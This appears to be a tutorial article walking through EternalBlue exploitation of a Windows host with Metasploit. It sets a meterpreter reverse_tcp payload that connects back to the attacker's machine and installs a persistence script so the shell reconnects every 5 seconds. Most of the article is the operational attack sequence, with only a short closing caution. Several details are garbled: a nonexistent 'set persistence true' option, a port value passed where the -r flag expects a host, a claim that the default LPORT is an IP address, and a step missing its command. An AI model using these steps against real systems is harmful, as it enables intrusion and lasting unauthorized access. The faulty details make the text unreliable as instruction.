Open In App

Creating a Persistent Reverse Shell with Metasploit in Kali Linux

Last Updated : 05 Feb, 2023
Improve
Improve
Like Article
Like
Save
Share
Report

A reverse shell is a type of network connection in which a command shell is executed on a remote machine, and the input and output of the shell are transmitted over the network back to the local machine. This allows a user on the local machine to execute commands on the remote machine and receive the output of those commands. 

Reverse shells are often used in penetration testing and cybersecurity incident response situations to remotely access and control a compromised system. They can also be used by malicious actors to gain unauthorized access to systems.

What is a persistent reverse shell?

A persistent reverse shell is a type of reverse shell that is designed to remain active even after the initial connection is terminated. This allows an attacker to maintain access to a compromised system over an extended period of time.

To establish a persistent reverse shell, the attacker typically installs a program on the target system that will establish the reverse shell connection and keep it open even if the initial connection is interrupted. This program may be disguised as a legitimate application or may be installed as a service or daemon that runs in the background.

Creating a persistent reverse shell with Metasploit in Kali Linux

To create a persistent reverse shell with Metasploit in Kali Linux, you will need to perform the following steps:

Step 1: First, make sure that Metasploit is installed on your Kali Linux machine. If it is not, you can install it by running the following command:

apt-get update && apt-get install metasploit-framework

Step 2: Start the Metasploit console by running the following command:

msfconsole
Starting Metasploit Console

 

Step 3: In the Metasploit console, use the search command to find a suitable exploit. For example, you could use the following command to search for exploits that target Windows systems:

search windows

Searching Exploit

 

List of various Windows exploits

 

Step 4: Once you have found a suitable exploit, use the use command to select it. For example, to select the “windows/smb/ms17_010_eternalblue” exploit:

use windows/smb/ms17_010_eternalblue
Using eternalblue exploit

 

Step 5: Set the target for the exploit by using the set command and feed the IP address of the target (10.10.166.240 used for demonstration purposes):

set RHOSTS 10.10.166.240
Setting RHOSTS

 

Step 6: Set the payload for the exploit by using the set command. A payload is a code that will be executed on the target machine once the exploit is successful. (Here, the payload for Windows reverse shell is used) 

set PAYLOAD windows/meterpreter/reverse_tcp

Setting Payload of reverse tcp

 

Note: Default Payload is windows/x64/meterpreter/reverse_tcp.

Step 7: Set the listening host for the reverse shell. (IP address of the attacking machine)

Setting LHOST

 

This step is optional as the default LPORT is your device’s IP:

Step 8: Set the listening port for the reverse shell by using the set command. 

set LPORT <port>
Setting LHOST Port

 

Step 9: To create a persistent reverse shell, you will need to set up a persistence script that will run every time the target machine starts up. To do this, use the set command to set the “persistence” option to “true”. For example:

set persistence true
Setting Persistence script as true

 

Step 10: Run the exploit by using the exploit command. This will initiate the connection and attempt to exploit the target machine. If the exploit is successful, you should see a meterpreter session open in the Metasploit console.

exploit

Starting the exploitation

 

Connection to Victim

 

To make the reverse shell persistent, you will need to run the persistence script by typing the following command in the meterpreter session:

run persistence -U -i 5 -p 4444 -r <LPORT>
Making Reverse Shell Persistent

 

This will set up a persistent reverse shell that will connect back to your Kali Linux machine every 5 seconds.

Conclusion:

In conclusion, a persistent reverse shell is a type of network connection that allows an attacker to remotely execute commands and maintain access to a compromised system over an extended period of time. To create a persistent reverse shell using Metasploit in Kali Linux, you will need to select an appropriate exploit and payload, set the target and listening host and port, and run the exploit. To make the reverse shell persistent, you will need to run a persistence script. It is important to note that creating persistent reverse shells is generally considered malicious activity and should only be done in a controlled environment. It is also important to ensure that proper safeguards are in place to prevent unauthorized access to systems and to secure systems against exploitation.



Like Article
Suggest improvement
Previous
Next
Share your thoughts in the comments

Similar Reads